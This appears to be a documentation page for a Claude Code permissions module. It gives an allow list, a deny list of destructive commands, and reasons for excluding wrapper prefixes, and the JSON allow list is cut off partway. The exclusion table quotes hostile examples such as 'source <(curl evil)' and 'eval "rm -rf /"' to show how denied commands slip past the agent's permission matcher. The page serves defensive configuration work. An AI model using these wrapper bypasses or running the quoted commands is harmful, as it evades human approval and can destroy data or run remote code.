Settings & Permissions

core no always-loaded rules -- loads on demand updated 2026-08-04

Base settings.json with comprehensive tool permissions (800+ allow entries), deny list for dangerous operations, and plugin configuration. Defaults to 'ask' mode for safety.

Tags

  • settings
  • permissions
  • security

README

settings

Base settings.json with comprehensive tool permissions (800+ allow entries), deny list for dangerous operations, and plugin configuration.

What It Does

This module provides a settings.base.json that gets merged into ~/.claude/settings.json. It includes:

  • Allow list: ~800 Bash command prefixes covering git, package managers, build tools, languages, editors, system utilities, cloud CLIs, databases, and more. Privilege-escalation / arbitrary-execution prefixes (sudo, su, doas, eval, exec) and command-wrapper prefixes that run an arbitrary following command (command, source, ., builtin, env, xargs, nohup, timeout, watch, nice, time, parallel, caffeinate) are deliberately excluded — see "Excluded from the allow list" below.
  • File operation permissions: Read/Edit/Write permissions for your code directory, Claude config, and temp files
  • Deny list: 13 entries for dangerous operations (rm -rf, force push to main, docker rm, DROP/TRUNCATE/DELETE SQL). Several legacy entries were pruned in #474 once the hooks module gained bypass-proof hard_block() enforcement — see "Deny list rationale" below.
  • Tool permissions: WebFetch, WebSearch, Skill, Glob, Grep, and Supabase MCP tools pre-approved
  • Plugin configuration: Common Claude Code plugins enabled

Deny list rationale (13 entries)

Each entry survives a specific test: would removing it create a real new risk after Epic 1 of #473 wired hooks/check-careful.py, hooks/enforce-git-workflow.py, hooks/auto-approve-bash.py, and hooks/check-migration-timestamps.py to use hook_utils.hard_block() (bypass-proof exit 2)?

  • Bash(rm -rf:*) / Bash(rm -r:*) — paired-with check-careful.py which prompts in non-bypass mode and short-circuits in bypass. Deny is the belt to the hook's suspenders for the bypass-mode case where the hook intentionally stays silent.
  • Bash(git reset --hard:*)auto-approve-bash.py smart-rule hard-blocks the non-remote-ref form and explicitly allows the remote-ref form. The deny entry catches anything the smart-rule misses.
  • Bash(git push --force origin main:*) — kept as a single canonical deny. The variant forms (-f main, --force main, --force-with-lease origin main, -f origin main) were pruned because check-careful.py:_is_force_push_to_main() matches all of them and hard-blocks; the surviving deny is defense-in-depth for the most-typed form.
  • Bash(git clean:*)check-careful.py prompts. Deny matters in bypass + no ALLOW_MAIN_COMMIT flow.
  • Bash(git branch -D:*) — no hook covers branch deletion.
  • Bash(docker rm:*), Bash(docker rmi:*), Bash(docker system prune:*) — hook only fires for -f variants; deny catches the bare forms.
  • Bash(kubectl delete:*), Bash(DROP:*), Bash(TRUNCATE:*), Bash(DELETE FROM:*) — SQL/k8s blast radius. Hooks ask but deny is the harder stop in non-bypass.

Removed in #474 (now redundant with hook hard-blocks):

  • Bash(git push --force main:*), Bash(git push -f main:*), Bash(git push --force-with-lease origin main:*), Bash(git push -f origin main:*) — all subsumed by check-careful.py:_is_force_push_to_main().

Excluded from the allow list (#665, #711)

The allow list intentionally does not grant these prefixes:

Excluded prefix Why it is dangerous to auto-allow
Bash(sudo:*), Bash(su:*), Bash(doas:*) Privilege escalation. An auto-approved sudo runs anything as root, sidestepping every per-command guard.
Bash(eval:*), Bash(exec:*) Arbitrary execution. The permission matcher only sees the literal prefix (eval, exec), so eval "rm -rf /" would be auto-approved even though Bash(rm -rf:*) is on the deny list. These prefixes defeat both the deny list and every argument-pattern allow rule.
Bash(command:*), Bash(builtin:*) Same matcher-bypass class as eval/exec. command rm -rf x and builtin eval "rm -rf /" run the denied command — the matcher only ever sees the wrapper word.
Bash(source:*), Bash(.:*) Run arbitrary script from a file or process substitution (source <(curl evil), . <(...)). Whatever the sourced script does is never seen by the matcher. . is the POSIX synonym for source and carries the identical risk.
Bash(env:*), Bash(xargs:*), Bash(nohup:*), Bash(timeout:*), Bash(watch:*), Bash(nice:*), Bash(time:*), Bash(parallel:*), Bash(caffeinate:*) Command wrappers: each takes a following command and runs it. env rm -rf x, timeout 5 rm -rf x, xargs rm -rf <<< x, nohup rm -rf x, etc. all slip a denied command past the prefix matcher.

#665 removed the privilege-escalation / arbitrary-execution prefixes; #711 removed the remaining command-wrapper prefixes. The deny list takes precedence over the allow list in Claude Code's permission model, but it can only override commands it actually names — every prefix above lets a caller smuggle a denied command past the matcher entirely, so the only safe fix is to keep them off the allow list. With these prefixes excluded, such commands fall through to defaultMode (ask) and prompt for approval.

Intentionally kept (NOT excluded): ordinary builtins that do not take a command argument (let, enable, set, export, printenv, renice, :, test) stay allowed. find is kept despite -exec because it is a core read-only utility whose normal use does not run commands, and ssh is kept because it executes on a remote host, not against the local deny list. These do not function as local matcher-bypass wrappers.

Template Variables

Variable Description Default
__DEFAULT_MODE__ Permission mode for unmatched commands (ask or dontAsk) ask
__HOME__ Home directory path (replaced during installation) System $HOME
__CODE_DIR__ Path to your code directory $HOME/code

Manual Installation

# 1. Copy the base settings
mkdir -p ~/.claude
cp settings.base.json ~/.claude/settings.json

# 2. Replace template variables
# Edit ~/.claude/settings.json and replace:
#   __DEFAULT_MODE__ -> ask (or dontAsk)
#   __HOME__ -> your home directory path (e.g., /Users/yourname)
#   __CODE_DIR__ -> your code directory (e.g., /Users/yourname/code)

Security Notes

  • Default mode is ask: Unrecognized commands will prompt for approval. Change to dontAsk only if you trust Claude to run any command.
  • The deny list blocks destructive operations even in dontAsk mode.
  • skipDangerousModePermissionPrompt is NOT included - you will be warned when switching to dangerous mode.

Files

File Description
settings.base.json Complete settings.json template with all permissions

Maintaining the Allow List

The settings.base.json allow list is a static, hand-curated baseline. To extend it for commands you actually run, use Claude Code's built-in /less-permission-prompts skill:

"Scan your transcripts for common read-only Bash and MCP tool calls, then add a prioritized allowlist to project .claude/settings.json to reduce permission prompts."

Run /less-permission-prompts in any project to generate a project-local .claude/settings.json with allowlist additions derived from your session history. If patterns from a project-local file turn out to be universal across your work, promote them into this module's settings.base.json via a PR.

Evaluation: CE claude-permissions-optimizer (issue #285)

EveryInc/compound-engineering-plugin previously shipped a claude-permissions-optimizer skill with similar goals (scan session history, classify commands, write allowlist entries). As of CE PR #578/#583 the skill was removed from CE and the CHANGELOG states: "drop skill in favor of /less-permission-prompts". CE's authors explicitly adopted Anthropic's first-party built-in as the recommended path.

CCGM action: none required. CCGM does not ship a permissions-optimizer skill (the settings module ships only a static allow list), and the CE version is no longer maintained. Users rely on the Anthropic-shipped /less-permission-prompts skill for dynamic allowlist additions. The transferable pipeline-design lessons from CE's defunct skill (ordering of filter / normalize / group / threshold / re-classify) are captured in their docs/solutions/skill-design/claude-permissions-optimizer-classification-fix.md if a future CCGM-native optimizer is ever written; they are not re-documented here to avoid duplicating upstream content.

Will install

Path Action Target Type
settings.base.json merge settings.json config

Dependencies

No dependencies.

Required by

Asks during install

  • Default permission mode? (ask = prompt for unknown commands, dontAsk = auto-approve all)

    Default: ask

    Options: askdontAsk

Included in presets

Install this module

Agent prompt

Recommended for agent users -- hands the whole install off to your assistant.

Fetch https://cd23a9be.ccgm-site.pages.dev/modules/settings.md and install this module into my Claude Code setup.

Native plugin marketplace

One command via the native plugin marketplace -- additive, does not merge settings.json.

claude plugin install settings@ccgm

The marketplace path is additive, not a replacement: it installs commands, agents, and skills as native plugin components, but it does not perform the bash installer's deep settings.json merge, and it does not write the always-loaded global CLAUDE.md context. Rules are only injected via an opt-in SessionStart hook rather than being auto-loaded. Use the bash installer when those pieces matter to you.

Manual, per file

Full control -- copy exactly the files you want from the sections below.

Files

Files

config (1)

settings.base.json

Merged into ~/.claude/settings.json -- a fragment, not a replacement.

Uses installer-substituted placeholders -- install via the bash installer, or fill in the __VARS__ after copying.

{
  "permissions": {
    "allow": [
      "Read(__CODE_DIR__/**)",
      "Read(__HOME__/.claude/**)",
      "Read(/tmp/**)",
      "Edit(__CODE_DIR__/**)",
      "Edit(__HOME__/.claude/**)",
      "Edit(/tmp/**)",
      "Bash(git -C:*)",
      "Bash(git status:*)",
      "Bash(git log:*)",
      "Bash(git diff:*)",
      "Bash(git show:*)",
      "Bash(git blame:*)",
      "Bash(git reflog:*)",
      "Bash(git branch:*)",
      "Bash(git checkout:*)",
      "Bash(git switch:*)",
      "Bash(git fetch:*)",
      "Bash(git pull:*)",
      "Bash(git merge:*)",
      "Bash(git rebase:*)",
      "Bash(git cherry-pick:*)",
      "Bash(git add:*)",
      "Bash(git commit:*)",
      "Bash(git stash:*)",
      "Bash(git push:*)",
      "Bash(git tag:*)",
      "Bash(git describe:*)",
      "Bash(git rev-parse:*)",
      "Bash(git config:*)",
      "Bash(git clone:*)",
      "Bash(git init:*)",
      "Bash(git remote:*)",
      "Bash(git worktree:*)",
      "Bash(git shortlog:*)",
      "Bash(git rev-list:*)",
      "Bash(git ls-files:*)",
      "Bash(git ls-tree:*)",
      "Bash(git cat-file:*)",
      "Bash(git for-each-ref:*)",
      "Bash(git name-rev:*)",
      "Bash(git bisect:*)",
      "Bash(git archive:*)",
      "Bash(git bundle:*)",
      "Bash(git format-patch:*)",
      "Bash(git am:*)",
      "Bash(git apply:*)",
      "Bash(git notes:*)",
      "Bash(git submodule:*)",
      "Bash(gh:*)",
      "Bash(gh issue:*)",
      "Bash(gh label:*)",
      "Bash(gh api:*)",
      "Bash(gh pr:*)",
      "Bash(gh repo:*)",
      "Bash(gh auth:*)",
      "Bash(gh browse:*)",
      "Bash(gh gist:*)",
      "Bash(gh workflow:*)",
      "Bash(gh run:*)",
      "Bash(gh release:*)",
      "Bash(gh project:*)",
      "Bash(gh codespace:*)",
      "Bash(gh secret:*)",
      "Bash(gh variable:*)",
      "Bash(gh cache:*)",
      "Bash(gh extension:*)",
      "Bash(gh search:*)",
      "Bash(gh status:*)",
      "Bash(for:*)",
      "Bash(while:*)",
      "Bash(until:*)",
      "Bash(if:*)",
      "Bash(then:*)",
      "Bash(else:*)",
      "Bash(elif:*)",
      "Bash(fi:*)",
      "Bash(case:*)",
      "Bash(esac:*)",
      "Bash(do:*)",
      "Bash(done:*)",
      "Bash(in:*)",
      "Bash(function:*)",
      "Bash(select:*)",
      "Bash([:*)",
      "Bash([[:*)",
      "Bash({:*)",
      "Bash(!:*)",
      "Bash(test:*)",
      "Bash(true:*)",
      "Bash(false:*)",
      "Bash(::*)",
      "Bash(seq:*)",
      "Bash(read:*)",
      "Bash(readarray:*)",
      "Bash(mapfile:*)",
      "Bash(set:*)",
      "Bash(unset:*)",
      "Bash(local:*)",
      "Bash(declare:*)",
      "Bash(typeset:*)",
      "Bash(readonly:*)",
      "Bash(let:*)",
      "Bash(enable:*)",
      "Bash(help:*)",
      "Bash(hash:*)",
      "Bash(alias:*)",
      "Bash(unalias:*)",
      "Bash(shopt:*)",
      "Bash(trap:*)",
      "Bash(return:*)",
      "Bash(exit:*)",
      "Bash(break:*)",
      "Bash(continue:*)",
      "Bash(shift:*)",
      "Bash(getopts:*)",
      "Bash(bg:*)",
      "Bash(fg:*)",
      "Bash(jobs:*)",
      "Bash(kill:*)",
      "Bash(killall:*)",
      "Bash(pkill:*)",
      "Bash(disown:*)",
      "Bash(wait:*)",
      "Bash(sleep:*)",
      "Bash(renice:*)",
      "Bash(tee:*)",
      "Bash(yes:*)",
      "Bash(ls:*)",
      "Bash(ll:*)",
      "Bash(la:*)",
      "Bash(l:*)",
      "Bash(tree:*)",
      "Bash(find:*)",
      "Bash(fd:*)",
      "Bash(locate:*)",
      "Bash(mdfind:*)",
      "Bash(cat:*)",
      "Bash(bat:*)",
      "Bash(head:*)",
      "Bash(tail:*)",
      "Bash(less:*)",
      "Bash(more:*)",
      "Bash(file:*)",
      "Bash(stat:*)",
      "Bash(wc:*)",
      "Bash(du:*)",
      "Bash(df:*)",
      "Bash(which:*)",
      "Bash(whereis:*)",
      "Bash(whence:*)",
      "Bash(type:*)",
      "Bash(readlink:*)",
      "Bash(realpath:*)",
      "Bash(basename:*)",
      "Bash(dirname:*)",
      "Bash(pathchk:*)",
      "Bash(mkdir:*)",
      "Bash(cp:*)",
      "Bash(mv:*)",
      "Bash(ln:*)",
      "Bash(touch:*)",
      "Bash(mktemp:*)",
      "Bash(install:*)",
      "Bash(rsync:*)",
      "Bash(scp:*)",
      "Bash(grep:*)",
      "Bash(egrep:*)",
      "Bash(fgrep:*)",
      "Bash(rg:*)",
      "Bash(ag:*)",
      "Bash(ack:*)",
      "Bash(awk:*)",
      "Bash(gawk:*)",
      "Bash(nawk:*)",
      "Bash(mawk:*)",
      "Bash(sed:*)",
      "Bash(gsed:*)",
      "Bash(perl:*)",
      "Bash(sort:*)",
      "Bash(uniq:*)",
      "Bash(cut:*)",
      "Bash(tr:*)",
      "Bash(rev:*)",
      "Bash(tac:*)",
      "Bash(diff:*)",
      "Bash(diff3:*)",
      "Bash(sdiff:*)",
      "Bash(cmp:*)",
      "Bash(comm:*)",
      "Bash(join:*)",
      "Bash(paste:*)",
      "Bash(column:*)",
      "Bash(colrm:*)",
      "Bash(expand:*)",
      "Bash(unexpand:*)",
      "Bash(fold:*)",
      "Bash(fmt:*)",
      "Bash(pr:*)",
      "Bash(nl:*)",
      "Bash(split:*)",
      "Bash(csplit:*)",
      "Bash(strings:*)",
      "Bash(od:*)",
      "Bash(xxd:*)",
      "Bash(hexdump:*)",
      "Bash(base64:*)",
      "Bash(jq:*)",
      "Bash(yq:*)",
      "Bash(xmllint:*)",
      "Bash(htmlq:*)",
      "Bash(pup:*)",
      "Bash(fx:*)",
      "Bash(gron:*)",
      "Bash(expr:*)",
      "Bash(bc:*)",
      "Bash(dc:*)",
      "Bash(factor:*)",
      "Bash(numfmt:*)",
      "Bash(npm:*)",
      "Bash(npx:*)",
      "Bash(yarn:*)",
      "Bash(pnpm:*)",
      "Bash(GITHUB_PAGES=true pnpm build:*)",
      "Bash(bun:*)",
      "Bash(deno:*)",
      "Bash(pip:*)",
      "Bash(pip3:*)",
      "Bash(pipx:*)",
      "Bash(pipenv:*)",
      "Bash(conda:*)",
      "Bash(mamba:*)",
      "Bash(cargo:*)",
      "Bash(rustup:*)",
      "Bash(gem:*)",
      "Bash(bundle:*)",
      "Bash(bundler:*)",
      "Bash(rbenv:*)",
      "Bash(rvm:*)",
      "Bash(go:*)",
      "Bash(composer:*)",
      "Bash(poetry:*)",
      "Bash(pdm:*)",
      "Bash(uv:*)",
      "Bash(rye:*)",
      "Bash(hatch:*)",
      "Bash(nvm:*)",
      "Bash(fnm:*)",
      "Bash(asdf:*)",
      "Bash(mise:*)",
      "Bash(pyenv:*)",
      "Bash(goenv:*)",
      "Bash(brew:*)",
      "Bash(apt:*)",
      "Bash(apt-get:*)",
      "Bash(apt-cache:*)",
      "Bash(dpkg:*)",
      "Bash(yum:*)",
      "Bash(dnf:*)",
      "Bash(pacman:*)",
      "Bash(apk:*)",
      "Bash(port:*)",
      "Bash(mas:*)",
      "Bash(node:*)",
      "Bash(python:*)",
      "Bash(python3:*)",
      "Bash(python2:*)",
      "Bash(ruby:*)",
      "Bash(irb:*)",
      "Bash(rails:*)",
      "Bash(rake:*)",
      "Bash(php:*)",
      "Bash(artisan:*)",
      "Bash(java:*)",
      "Bash(javac:*)",
      "Bash(jar:*)",
      "Bash(scala:*)",
      "Bash(sbt:*)",
      "Bash(kotlin:*)",
      "Bash(kotlinc:*)",
      "Bash(clojure:*)",
      "Bash(lein:*)",
      "Bash(swift:*)",
      "Bash(swiftc:*)",
      "Bash(elixir:*)",
      "Bash(iex:*)",
      "Bash(mix:*)",
      "Bash(erl:*)",
      "Bash(erlc:*)",
      "Bash(rebar3:*)",
      "Bash(ghc:*)",
      "Bash(ghci:*)",
      "Bash(stack:*)",
      "Bash(cabal:*)",
      "Bash(ocaml:*)",
      "Bash(opam:*)",
      "Bash(dune:*)",
      "Bash(lua:*)",
      "Bash(luarocks:*)",
      "Bash(julia:*)",
      "Bash(R:*)",
      "Bash(Rscript:*)",
      "Bash(zig:*)",
      "Bash(nim:*)",
      "Bash(nimble:*)",
      "Bash(crystal:*)",
      "Bash(shards:*)",
      "Bash(dart:*)",
      "Bash(flutter:*)",
      "Bash(dotnet:*)",
      "Bash(csc:*)",
      "Bash(fsc:*)",
      "Bash(cc:*)",
      "Bash(gcc:*)",
      "Bash(g++:*)",
      "Bash(clang:*)",
      "Bash(clang++:*)",
      "Bash(ld:*)",
      "Bash(ar:*)",
      "Bash(nm:*)",
      "Bash(objdump:*)",
      "Bash(strip:*)",
      "Bash(make:*)",
      "Bash(gmake:*)",
      "Bash(cmake:*)",
      "Bash(ninja:*)",
      "Bash(meson:*)",
      "Bash(bazel:*)",
      "Bash(buck:*)",
      "Bash(gradle:*)",
      "Bash(gradlew:*)",
      "Bash(mvn:*)",
      "Bash(ant:*)",
      "Bash(tsc:*)",
      "Bash(tsx:*)",
      "Bash(ts-node:*)",
      "Bash(esbuild:*)",
      "Bash(swc:*)",
      "Bash(babel:*)",
      "Bash(webpack:*)",
      "Bash(rollup:*)",
      "Bash(parcel:*)",
      "Bash(turbo:*)",
      "Bash(nx:*)",
      "Bash(lerna:*)",
      "Bash(vite:*)",
      "Bash(next:*)",
      "Bash(nuxt:*)",
      "Bash(astro:*)",
      "Bash(remix:*)",
      "Bash(sveltekit:*)",
      "Bash(angular:*)",
      "Bash(ng:*)",
      "Bash(vue:*)",
      "Bash(create-react-app:*)",
      "Bash(gatsby:*)",
      "Bash(eleventy:*)",
      "Bash(hugo:*)",
      "Bash(jekyll:*)",
      "Bash(zola:*)",
      "Bash(vitest:*)",
      "Bash(jest:*)",
      "Bash(mocha:*)",
      "Bash(jasmine:*)",
      "Bash(ava:*)",
      "Bash(tap:*)",
      "Bash(playwright:*)",
      "Bash(cypress:*)",
      "Bash(puppeteer:*)",
      "Bash(pytest:*)",
      "Bash(unittest:*)",
      "Bash(nose:*)",
      "Bash(tox:*)",
      "Bash(nox:*)",
      "Bash(coverage:*)",
      "Bash(nyc:*)",
      "Bash(c8:*)",
      "Bash(phpunit:*)",
      "Bash(pest:*)",
      "Bash(rspec:*)",
      "Bash(minitest:*)",
      "Bash(eslint:*)",
      "Bash(prettier:*)",
      "Bash(biome:*)",
      "Bash(oxlint:*)",
      "Bash(stylelint:*)",
      "Bash(standardjs:*)",
      "Bash(pylint:*)",
      "Bash(flake8:*)",
      "Bash(black:*)",
      "Bash(isort:*)",
      "Bash(mypy:*)",
      "Bash(pyright:*)",
      "Bash(ruff:*)",
      "Bash(rubocop:*)",
      "Bash(shellcheck:*)",
      "Bash(shfmt:*)",
      "Bash(hadolint:*)",
      "Bash(yamllint:*)",
      "Bash(jsonlint:*)",
      "Bash(markdownlint:*)",
      "Bash(vale:*)",
      "Bash(cspell:*)",
      "Bash(clippy:*)",
      "Bash(rustfmt:*)",
      "Bash(gofmt:*)",
      "Bash(goimports:*)",
      "Bash(golint:*)",
      "Bash(staticcheck:*)",
      "Bash(pwd:*)",
      "Bash(cd:*)",
      "Bash(pushd:*)",
      "Bash(popd:*)",
      "Bash(dirs:*)",
      "Bash(printenv:*)",
      "Bash(echo:*)",
      "Bash(printf:*)",
      "Bash(export:*)",
      "Bash(chmod:*)",
      "Bash(chown:*)",
      "Bash(chgrp:*)",
      "Bash(umask:*)",
      "Bash(id:*)",
      "Bash(whoami:*)",
      "Bash(groups:*)",
      "Bash(users:*)",
      "Bash(who:*)",
      "Bash(w:*)",
      "Bash(last:*)",
      "Bash(lastlog:*)",
      "Bash(logname:*)",
      "Bash(getent:*)",
      "Bash(curl:*)",
      "Bash(wget:*)",
      "Bash(http:*)",
      "Bash(httpie:*)",
      "Bash(fetch:*)",
      "Bash(aria2c:*)",
      "Bash(ping:*)",
      "Bash(ping6:*)",
      "Bash(traceroute:*)",
      "Bash(traceroute6:*)",
      "Bash(mtr:*)",
      "Bash(dig:*)",
      "Bash(nslookup:*)",
      "Bash(host:*)",
      "Bash(whois:*)",
      "Bash(nc:*)",
      "Bash(ncat:*)",
      "Bash(netcat:*)",
      "Bash(socat:*)",
      "Bash(telnet:*)",
      "Bash(netstat:*)",
      "Bash(lsof:*)",
      "Bash(ss:*)",
      "Bash(ip:*)",
      "Bash(ifconfig:*)",
      "Bash(route:*)",
      "Bash(arp:*)",
      "Bash(iwconfig:*)",
      "Bash(nmap:*)",
      "Bash(tcpdump:*)",
      "Bash(ssh:*)",
      "Bash(ssh-keygen:*)",
      "Bash(ssh-add:*)",
      "Bash(ssh-agent:*)",
      "Bash(ssh-copy-id:*)",
      "Bash(sshpass:*)",
      "Bash(sftp:*)",
      "Bash(ftp:*)",
      "Bash(md5:*)",
      "Bash(md5sum:*)",
      "Bash(shasum:*)",
      "Bash(sha1sum:*)",
      "Bash(sha256sum:*)",
      "Bash(sha512sum:*)",
      "Bash(cksum:*)",
      "Bash(b2sum:*)",
      "Bash(openssl:*)",
      "Bash(gpg:*)",
      "Bash(age:*)",
      "Bash(sops:*)",
      "Bash(tar:*)",
      "Bash(gtar:*)",
      "Bash(zip:*)",
      "Bash(unzip:*)",
      "Bash(zipinfo:*)",
      "Bash(gzip:*)",
      "Bash(gunzip:*)",
      "Bash(zcat:*)",
      "Bash(bzip2:*)",
      "Bash(bunzip2:*)",
      "Bash(bzcat:*)",
      "Bash(xz:*)",
      "Bash(unxz:*)",
      "Bash(xzcat:*)",
      "Bash(lz4:*)",
      "Bash(unlz4:*)",
      "Bash(zstd:*)",
      "Bash(unzstd:*)",
      "Bash(7z:*)",
      "Bash(7za:*)",
      "Bash(rar:*)",
      "Bash(unrar:*)",
      "Bash(cpio:*)",
      "Bash(pax:*)",
      "Bash(ps:*)",
      "Bash(pgrep:*)",
      "Bash(pidof:*)",
      "Bash(top:*)",
      "Bash(htop:*)",
      "Bash(btop:*)",
      "Bash(atop:*)",
      "Bash(glances:*)",
      "Bash(uptime:*)",
      "Bash(free:*)",
      "Bash(vmstat:*)",
      "Bash(iostat:*)",
      "Bash(mpstat:*)",
      "Bash(sar:*)",
      "Bash(dstat:*)",
      "Bash(nmon:*)",
      "Bash(uname:*)",
      "Bash(arch:*)",
      "Bash(hostname:*)",
      "Bash(hostnamectl:*)",
      "Bash(date:*)",
      "Bash(cal:*)",
      "Bash(ncal:*)",
      "Bash(timedatectl:*)",
      "Bash(locale:*)",
      "Bash(localectl:*)",
      "Bash(dmesg:*)",
      "Bash(journalctl:*)",
      "Bash(systemctl:*)",
      "Bash(service:*)",
      "Bash(launchctl:*)",
      "Bash(sysctl:*)",
      "Bash(lscpu:*)",
      "Bash(lsmem:*)",
      "Bash(lspci:*)",
      "Bash(lsusb:*)",
      "Bash(lsblk:*)",
      "Bash(blkid:*)",
      "Bash(fdisk:*)",
      "Bash(parted:*)",
      "Bash(mount:*)",
      "Bash(umount:*)",
      "Bash(findmnt:*)",
      "Bash(diskutil:*)",
      "Bash(hdiutil:*)",
      "Bash(system_profiler:*)",
      "Bash(sw_vers:*)",
      "Bash(ioreg:*)",
      "Bash(docker:*)",
      "Bash(docker-compose:*)",
      "Bash(docker compose:*)",
      "Bash(podman:*)",
      "Bash(podman-compose:*)",
      "Bash(buildah:*)",
      "Bash(skopeo:*)",
      "Bash(crictl:*)",
      "Bash(ctr:*)",
      "Bash(nerdctl:*)",
      "Bash(lima:*)",
      "Bash(colima:*)",
      "Bash(minikube:*)",
      "Bash(kind:*)",
      "Bash(k3d:*)",
      "Bash(k3s:*)",
      "Bash(microk8s:*)",
      "Bash(kubectl:*)",
      "Bash(k:*)",
      "Bash(oc:*)",
      "Bash(helm:*)",
      "Bash(helmfile:*)",
      "Bash(kustomize:*)",
      "Bash(skaffold:*)",
      "Bash(tilt:*)",
      "Bash(garden:*)",
      "Bash(argocd:*)",
      "Bash(flux:*)",
      "Bash(istioctl:*)",
      "Bash(linkerd:*)",
      "Bash(kubectx:*)",
      "Bash(kubens:*)",
      "Bash(stern:*)",
      "Bash(k9s:*)",
      "Bash(lens:*)",
      "Bash(kubecolor:*)",
      "Bash(kubeseal:*)",
      "Bash(velero:*)",
      "Bash(eksctl:*)",
      "Bash(gke:*)",
      "Bash(aks:*)",
      "Bash(terraform:*)",
      "Bash(tofu:*)",
      "Bash(terragrunt:*)",
      "Bash(pulumi:*)",
      "Bash(cdktf:*)",
      "Bash(cdk:*)",
      "Bash(sam:*)",
      "Bash(serverless:*)",
      "Bash(sls:*)",
      "Bash(ansible:*)",
      "Bash(ansible-playbook:*)",
      "Bash(ansible-galaxy:*)",
      "Bash(vagrant:*)",
      "Bash(packer:*)",
      "Bash(consul:*)",
      "Bash(vault:*)",
      "Bash(nomad:*)",
      "Bash(boundary:*)",
      "Bash(waypoint:*)",
      "Bash(supabase:*)",
      "Bash(firebase:*)",
      "Bash(wrangler:*)",
      "Bash(pages:*)",
      "Bash(miniflare:*)",
      "Bash(flyctl:*)",
      "Bash(fly:*)",
      "Bash(vercel:*)",
      "Bash(vc:*)",
      "Bash(netlify:*)",
      "Bash(ntl:*)",
      "Bash(railway:*)",
      "Bash(render:*)",
      "Bash(heroku:*)",
      "Bash(dokku:*)",
      "Bash(caprover:*)",
      "Bash(coolify:*)",
      "Bash(planetscale:*)",
      "Bash(pscale:*)",
      "Bash(turso:*)",
      "Bash(neon:*)",
      "Bash(upstash:*)",
      "Bash(fauna:*)",
      "Bash(convex:*)",
      "Bash(deno deploy:*)",
      "Bash(aws:*)",
      "Bash(aws-vault:*)",
      "Bash(awsume:*)",
      "Bash(gcloud:*)",
      "Bash(gsutil:*)",
      "Bash(bq:*)",
      "Bash(az:*)",
      "Bash(azcopy:*)",
      "Bash(doctl:*)",
      "Bash(linode-cli:*)",
      "Bash(vultr-cli:*)",
      "Bash(hcloud:*)",
      "Bash(scaleway:*)",
      "Bash(scw:*)",
      "Bash(oci:*)",
      "Bash(ibmcloud:*)",
      "Bash(aliyun:*)",
      "Bash(s3cmd:*)",
      "Bash(rclone:*)",
      "Bash(restic:*)",
      "Bash(borgbackup:*)",
      "Bash(borg:*)",
      "Bash(psql:*)",
      "Bash(pg_dump:*)",
      "Bash(pg_restore:*)",
      "Bash(pg_isready:*)",
      "Bash(createdb:*)",
      "Bash(dropdb:*)",
      "Bash(mysql:*)",
      "Bash(mysqldump:*)",
      "Bash(mysqlimport:*)",
      "Bash(mariadb:*)",
      "Bash(sqlite3:*)",
      "Bash(redis-cli:*)",
      "Bash(mongosh:*)",
      "Bash(mongo:*)",
      "Bash(mongodump:*)",
      "Bash(mongorestore:*)",
      "Bash(cqlsh:*)",
      "Bash(nodetool:*)",
      "Bash(influx:*)",
      "Bash(clickhouse-client:*)",
      "Bash(duckdb:*)",
      "Bash(usql:*)",
      "Bash(pgcli:*)",
      "Bash(mycli:*)",
      "Bash(litecli:*)",
      "Bash(iredis:*)",
      "Bash(code:*)",
      "Bash(cursor:*)",
      "Bash(zed:*)",
      "Bash(vim:*)",
      "Bash(nvim:*)",
      "Bash(neovim:*)",
      "Bash(emacs:*)",
      "Bash(emacsclient:*)",
      "Bash(nano:*)",
      "Bash(pico:*)",
      "Bash(micro:*)",
      "Bash(helix:*)",
      "Bash(hx:*)",
      "Bash(subl:*)",
      "Bash(atom:*)",
      "Bash(mate:*)",
      "Bash(bbedit:*)",
      "Bash(open:*)",
      "Bash(xdg-open:*)",
      "Bash(start:*)",
      "Bash(pbcopy:*)",
      "Bash(pbpaste:*)",
      "Bash(xclip:*)",
      "Bash(xsel:*)",
      "Bash(wl-copy:*)",
      "Bash(wl-paste:*)",
      "Bash(say:*)",
      "Bash(espeak:*)",
      "Bash(osascript:*)",
      "Bash(defaults:*)",
      "Bash(scutil:*)",
      "Bash(pmset:*)",
      "Bash(screencapture:*)",
      "Bash(qlmanage:*)",
      "Bash(mdls:*)",
      "Bash(xattr:*)",
      "Bash(plutil:*)",
      "Bash(PlistBuddy:*)",
      "Bash(fzf:*)",
      "Bash(sk:*)",
      "Bash(peco:*)",
      "Bash(gum:*)",
      "Bash(charm:*)",
      "Bash(gh dash:*)",
      "Bash(lazygit:*)",
      "Bash(tig:*)",
      "Bash(gitui:*)",
      "Bash(lazydocker:*)",
      "Bash(dry:*)",
      "Bash(dive:*)",
      "Bash(ctop:*)",
      "Bash(ranger:*)",
      "Bash(nnn:*)",
      "Bash(lf:*)",
      "Bash(yazi:*)",
      "Bash(broot:*)",
      "Bash(mc:*)",
      "Bash(vifm:*)",
      "Bash(fff:*)",
      "Bash(exa:*)",
      "Bash(eza:*)",
      "Bash(lsd:*)",
      "Bash(dust:*)",
      "Bash(duf:*)",
      "Bash(ncdu:*)",
      "Bash(gdu:*)",
      "Bash(procs:*)",
      "Bash(bandwhich:*)",
      "Bash(bottom:*)",
      "Bash(zenith:*)",
      "Bash(delta:*)",
      "Bash(difft:*)",
      "Bash(difftastic:*)",
      "Bash(hyperfine:*)",
      "Bash(tokei:*)",
      "Bash(cloc:*)",
      "Bash(scc:*)",
      "Bash(loc:*)",
      "Bash(entr:*)",
      "Bash(watchexec:*)",
      "Bash(fswatch:*)",
      "Bash(inotifywait:*)",
      "Bash(direnv:*)",
      "Bash(starship:*)",
      "Bash(zoxide:*)",
      "Bash(autojump:*)",
      "Bash(fasd:*)",
      "Bash(z:*)",
      "Bash(thefuck:*)",
      "Bash(tldr:*)",
      "Bash(cheat:*)",
      "Bash(navi:*)",
      "Bash(howdoi:*)",
      "Bash(eg:*)",
      "Bash(fuck:*)",
      "Bash(please:*)",
      "Bash(ffmpeg:*)",
      "Bash(ffprobe:*)",
      "Bash(ffplay:*)",
      "Bash(convert:*)",
      "Bash(identify:*)",
      "Bash(mogrify:*)",
      "Bash(composite:*)",
      "Bash(montage:*)",
      "Bash(magick:*)",
      "Bash(sips:*)",
      "Bash(exiftool:*)",
      "Bash(mediainfo:*)",
      "Bash(sox:*)",
      "Bash(lame:*)",
      "Bash(flac:*)",
      "Bash(oggenc:*)",
      "Bash(opusenc:*)",
      "Bash(youtube-dl:*)",
      "Bash(yt-dlp:*)",
      "Bash(gallery-dl:*)",
      "Bash(streamlink:*)",
      "Bash(mpv:*)",
      "Bash(vlc:*)",
      "Bash(mplayer:*)",
